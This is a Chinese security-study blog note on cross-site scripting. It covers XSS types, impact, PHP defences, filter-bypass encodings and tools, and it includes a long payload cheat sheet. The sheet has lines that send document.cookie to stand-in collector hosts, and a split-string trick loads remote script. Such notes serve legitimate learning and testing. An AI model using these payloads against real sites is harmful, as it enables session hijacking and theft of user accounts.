Web笔记(七)XSS跨站脚本攻击

这个系列是整理学习安全的笔记,包括Web和PWN的一些知识。本章是XSS跨站脚本攻击各种弹窗方法的学习。

Posted by K4ys0n on November 29, 2020

0x00 XSS简介

XSS,全称Cross Site Scripting,即跨站脚本攻击,为避免和层叠样式表(CSS,Cascading Style Sheets)的缩写混淆,将Cross(“交叉”)改为交叉形状的X作为缩写。

XSS自1996年诞生以来,一直被OWASP(open web application security project)评为十大安全漏洞中的第二威胁漏洞。也有黑客把XSS当做新型的“缓冲区溢出攻击”,而JavaScript是新型的shellcode。2011年6月份,国内最火的信息发布平台“新浪微博”爆发了XSS蠕虫攻击,仅持续16分钟,感染用户近33000个,危害十分严重。XSS最大的特点就是能注入恶意的代码到用户浏览器的网页上,从而达到劫持用户会话的目的。

XSS是由于web应用程序对用户的输入过滤不严而产生的。

0x01 XSS攻击原理

攻击者在Web页面中插入恶意代码(HTML、JavaScript等),在用户浏览该页面时,嵌入Web页面的代码会被加载并执行,从而达到恶意攻击用户的目的,如获取更高的权限、网页内容和会话Cookie等。

0x02 XSS攻击类型

  • 反射型XSS

    服务器取得用户输入之后直接在浏览器输出。

  • 存储型XSS

    服务器取得用户输入之后先存储起来然后再输出。

  • DOM型XSS

    利用客户端浏览器DOM改变页面内容,不经过服务器。

0x03 XSS危害

  • 执行任意的HTML和JavaScript代码(如:插入恶意SEO链接、广告等)。
  • 盗取Cookie,窃取用户浏览会话。
  • 网络钓鱼,包括盗取各类的用户账号,泄露个人信息。
  • 对用户浏览器进行攻击(如:恶意木马下载、键盘记录)。
  • 对运维人员、客服人员浏览器进行攻击(如:提升用户权限、内网探测、未授权漏洞攻击)。
  • 利用iframe或XMLHttpRequest等方式,以(被攻击)用户的身份执行一些管理动作。
  • 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作(如:进行不当的投票活动)。
  • 在一些访问量极大的页面上使用XSS可以攻击一些小型网站,实现Dos攻击的效果。
  • 强制弹出广告页面、刷流量、网页挂马、传播跨站脚本蠕虫等

0x04 XSS检测方法

测试网站能否正确处理特殊字符:

><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
"><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
%3Cscript%3Ealert('XSS')%3C/script%3E
<img src="javascript:alert('XSS')">
<img src="1" onerror="alert('XSS')">
等等

XSS测试可以使用:

  • XSS弹出恶意警告框:<script>alert(“xss”)</script>
  • 也可以是html代码段,如使网页不停的刷新:<meta http-equiv=”refresh” content=”0;”>
  • 如嵌入其他网站链接的代码:<iframe src=http://xxx.com width=0 height=0></iframe>

0x05 XSS防御

服务端:

  • 数据库对不可信的请求数据进行适当的编码
  • 富文本过滤时使用各程序语言通用安全API库
  • 使用开发程序的安全转义库转义特殊字符
  • 严格检查参数的数据类型、数值与数据长度
  • 除在业务需要客户端脚本程序操作的情况外,将Cookie设置为HttpOnly属性

客户端:

  • 浏览器将禁止页面的JavaScript访问带有HttpOnly属性的Cookie
  • 阻止XSS攻击后的Cookie劫持攻击

其他方法:

  • HTMLEncode

  • Web安全头支持

  • 添加验证码机制

php对XSS过滤函数:

  • htmlentities(string, flags, character-set, double_encode)将字符串中的所有HTML标识符转化为HTML实体编码,包括不认识的字符,所以要注意中文的时候要character-set要选对编码(gb23112)。
  • htmlspecialchars(string, flags, character-set, double_encode)将字符串中的特定的几个HTML标识符转化成HTML实体编码,如双引号转为\"等
  • strip_tags()去掉HTML及php标记,如一些标签”<script>”
  • 正则preg_replace()函数
常见的防XSS代码
$x=preg_replace("/script/","",$x);		匹配script替换为空
$x=preg_replace("/script/i","",$x);		不管大小写的script都匹配并替换为空

0x06 常见的两种XSS方式

  • 闭合标签
  • 闭合元素,插入新元素
"><script>alert(document.domain)</script>		闭合标签
" onmouseover=alert(document.domain)>		闭合元素,插入新元素

0x07 HTML知识

1. select标签

select标签可创建单选或多选菜单。

<select>元素中的<option>标签用于定义列表中的可用选项。

2. hidden隐藏域

隐藏域是用来收集或发送信息的不可见元素,对于网页的访问者来说,隐藏域是看不见的。

当表单被提交时,隐藏域就会将信息用你设置时定义的名称和值发送到服务器上。

<input type="hidden" name="..." value="...">

3. svg标签

svg意为可缩放矢量图形(Scalable Vector Graphics),其使用XML格式定义图像。

svg文件可通过以下标签嵌入HTML文档:

  • <embed>
  • <object>
  • <iframe>
  • 使用svg标签插入
<svg 事件="">  事件可以是onload等等,斜线/也可以是空格。
如:
"><svg onload=alert(document.domain)>%0a

4. text文本框

表单元素中的文本框text,定义为常规文本输入,其属性介绍如下:

  • value属性规定输入字段的初始值
  • readonly属性规定输入字段为只读(不能修改)
  • disabled属性规定输入字段是禁用的。

5. html事件

  • onclick 当单击鼠标时运行脚本
  • ondbclick 当双击鼠标时运行脚本
  • ondrag 当拖动元素时运行脚本
  • ondragend 当拖动操作结束时运行脚本
  • ondragenter 当元素被拖动至有效目标时运行
  • ondragleave 当元素离开有效拖放目标时运行脚本
  • ondragover 当元素被拖动至有效拖放目标上方时运行脚本
  • ondragstart 当元素被拖放操作开始时运行脚本
  • ondrop 当被拖动元素正在被拖放时运行脚本
  • onmousedown 当按下鼠标按钮时运行脚本
  • onmousemove 当鼠标指针拖动时运行脚本
  • onmouseout 当鼠标指针移出元素时运行脚本
  • onmouseover 当鼠标指针移至元素之上时运行脚本
  • onmouseup 当松开鼠标按钮时运行脚本
  • onmousewheel 当转动鼠标滚轮时运行脚本
  • onscroll 当转动元素滚动元素的滚动条时运行脚本

0x08 JavaScript知识

1. document对象

document是一个对象,从JavaScript一开始就存在的一个对象,它代表当前的页面(文档)。我们调用它的write()方法就能够向该对象中写入内容,即:

document.write()

可以在html引用外部js代码

<script src=x.js></script>

js代码中写入

document.write("hello");

0x09 XSS绕过

1. JS八进制编码

\074\163\143\162\151\160\164\076\141\154\145\162\164\050\061\051\074\057\163\143\162\151\160\164\076
相当于
<script>alert(1)</script>

2. JS十六进制编码

\x3c\x73\x63\x72\x69\x70\x74\x3e\x61\x6c\x65\x72\x74\x28\x31\x29\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e
相当于
<script>alert(1)</script>

3. fromCharCode函数编码

可以利用hackerbar的XSS编码功能中的:js String.fromCharCode编码

<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)</script>
相当于
<script>alert(1)</script>

4. unicode编码

\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e
相当于
<script>alert(1)</script>

# 示例
\u003cimg src=1 onerror=alert(/xss/)\u003e

5. URL编码

%3Cscript%3Ealert%281%29%3C%2Fscript%3E
相当于
<script>alert(1)</script>

6. html编码

利用hackerbar的XSS编码功能:HTML实体编码

&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;
相当于
<script>alert(1)</script>

7. base64编码

"><script>eval((atob('base64代码'));</script>

8. 绕过双引号过滤

空格代替双引号,来闭合属性。

9. 绕过on、script等关键词过滤

使用空格绕过

"><a href="javascr   ipt:document.domain">xss</a>

10. 绕过空格、尖括号和双引号等过滤

利用IE特性(两个反引号``可以闭合一个左边双引号)

`` onmousemove=alert(document.domain)

11. CSS注释绕过关键字过滤

利用CSS特性(仅IE浏览器)

如设置颜色,关键词expression可以用注释符/**/分断:

color:express/**/ion(if(!window.x){alert(document.domain);window.x=1;})

其中,expression()是css表达式,输入参数可以是JavaScript代码。

还可以使用反斜杠,IE浏览器也会接收:

color:express\ion(if(!window.x){alert(document.domain);window.x=1;})

12. 绕过尖括号<>过滤

尖括号过滤(被转义成了\>和\<实体),双斜杠+十六进制编码绕过实体转义。双斜杠可加可不加,实际测试环境为准。

\\x3c是<
\\x3e是>
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e

双斜杠+unicode

\\u003c  <
\\u003e  <
\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e

13. 绕过限制字符(要求同页面)

<script>z='document.'</script>
<script>z=z+'write("'</script>
<script>z=z+'<script'</script>
<script>z=z+' src=ht'</script>
<script>z=z+'tp://ww'</script>
<script>z=z+'w.test'</script>
<script>z=z+'.com/1.'</script>
<script>z=z+'js></sc'</script>
<script>z=z+'ript>")'</script>
<script>eval_r(z)</script>

0x0a JavaScript伪协议

JavaScript伪协议,是把js代码放在javascript:后,放在链接或者HTML事件处理中,这个特殊的协议类型声明了URL主体是任意的js代码,如果有多个js语句,使用分号分隔开。

http://xxx?key=javascript:alert(1)">
或
<a href="javascript:document.domain">xss</a>

0x0b 获取Cookie中的密码

利用JavaScript伪协议获取cookie中的密码。

# 注意修改对应的标签号和标签name值
javascript:alert(document.getElementsByTagName(form)[0].getElementsByTagName(input)[1].value);	

# 注意修改对应的标签id值
javascript:alert(document.getElementsById(username).value=admin);document.getElementById(password).focus();

0x0c XSS payload

"><script>"
<script>alert("WXSS")</script>
<<script>alert("WXSS");//<</script>
<script>alert(document.cookie)</script>
'><script>alert(document.cookie)</script>
'><script>alert(document.cookie);</script>
\";alert('XSS');//
%3cscript%3ealert("WXSS");%3c/script%3e
%3cscript%3ealert(document.cookie);%3c%2fscript%3e
%3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E
&ltscript&gtalert(document.cookie);</script>
&ltscript&gtalert(document.cookie);&ltscript&gtalert
<xss><script>alert('WXSS')</script></vulnerable>
<IMG%20SRC='javascript:alert(document.cookie)'>
<IMG%20SRC="javascript:alert('WXSS');">
<IMG%20SRC="javascript:alert('WXSS')"
<IMG%20SRC=javascript:alert('WXSS')>
<IMG%20SRC=JaVaScRiPt:alert('WXSS')>
<IMG%20SRC=javascript:alert(&quot;WXSS&quot;)>
<IMG%20SRC=`javascript:alert("'WXSS'")`>
<IMG%20"""><SCRIPT>alert("WXSS")</SCRIPT>">
<IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG%20SRC='javasc    ript:alert(document.cookie)'>
<IMG%20SRC="jav    ascript:alert('WXSS');">
<IMG%20SRC="jav&#x09;ascript:alert('WXSS');">
<IMG%20SRC="jav&#x0A;ascript:alert('WXSS');">
<IMG%20SRC="jav&#x0D;ascript:alert('WXSS');">
<IMG%20SRC="%20&#14;%20javascript:alert('WXSS');">
<IMG%20DYNSRC="javascript:alert('WXSS')">
<IMG%20LOWSRC="javascript:alert('WXSS')">
<IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'>
<IMG%20SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
<IMG%20SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
<IMG%20SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
'%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E
"><script>document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie</script>
%22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//></SCRIPT>!--<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}
'';!--"<XSS>=&{()}

0x0d XSS发生的位置

  • GET型URL中的XSS:如果再URL中提交的参数值,在页面中显示,很有可能存在XSS。
  • POST型表单中的XSS:如果在表单中提交的参数值,在页面中显示,很有可能存在XSS。
  • JSON中的XSS:闭合json字符串,然后用分号隔开,加上alert(1);//,//注释了后面的json字符串。
  • 自定义HTTP头中的XSS:如果在HTTP自定义头中提交的参数值,在页面中显示,很有可能存在XSS。

0x0e XSS工具

1. 火狐中常用的XSS调试插件

  • Hackbar(利用hackerbar的XSS编码功能:HTML实体编码和js String.fromCharCode编码)
  • Firebug
  • Tamper Data
  • Live HTTP Headers
  • Editor Cookie

2. 工具挖掘XSS漏洞

  • awvs
  • netsparke
  • appscan
  • burp
  • xsser
  • xsscrapy
  • brutexssr
  • OWASP Xenotix/

3. xsser检测工具

xsser xsser -h # 帮助信息 xsser –gtk # 图形化界面 xsser -u <url> # 对链接进行xss测试 ……

4. XSStrike检测工具

XSStrike是一款检测XSS的高级检测工具。它集成了payload生成器、爬虫和模糊引擎功能。XSStrike不是像其他工具那样注入有效负载并检查其工作,而是通过多个解析器分析响应,然后通过与模糊引擎集成的上下文分析来保证有效负载。除此之外,XSStrike还具有爬行,模糊测试,参数发现,WAF检测功能。它还会扫描DOM XSS漏洞。 必须要python 3.6版本以上。

下载方法:git clone https://github.com/s0md3v/XSStrike.git

安装:

cd XSStrike
pip3 install -r requirements.txt
chmod +x xsstrike.py

0x0f 其他小技巧

1. htmlspecialchars使用不规范

<?php
$name=htmlspecialchars($_GET['name']);    
?>
<input type='text' class='search' value='<?=$name?>'>

在input元素的属性中输出获取的参数变量,使用单引号闭合。

htmlspecialchars函数默认只转化双引号,不转义单引号。

所以正确的做法应该将HTML标签的属性值用双引号引起来

2. Chrome如何取消XSS保护

桌面右键,新建快捷方式,在“请键入对象的位置”那个框中输入:

Chrome路径 + 参数--args --disable-xss-auditor

如:

“C:\Program Files (x86)\Google\Chrome\Application\chrome.exe” –args –disable-xss-auditor

0x10 XSS学习平台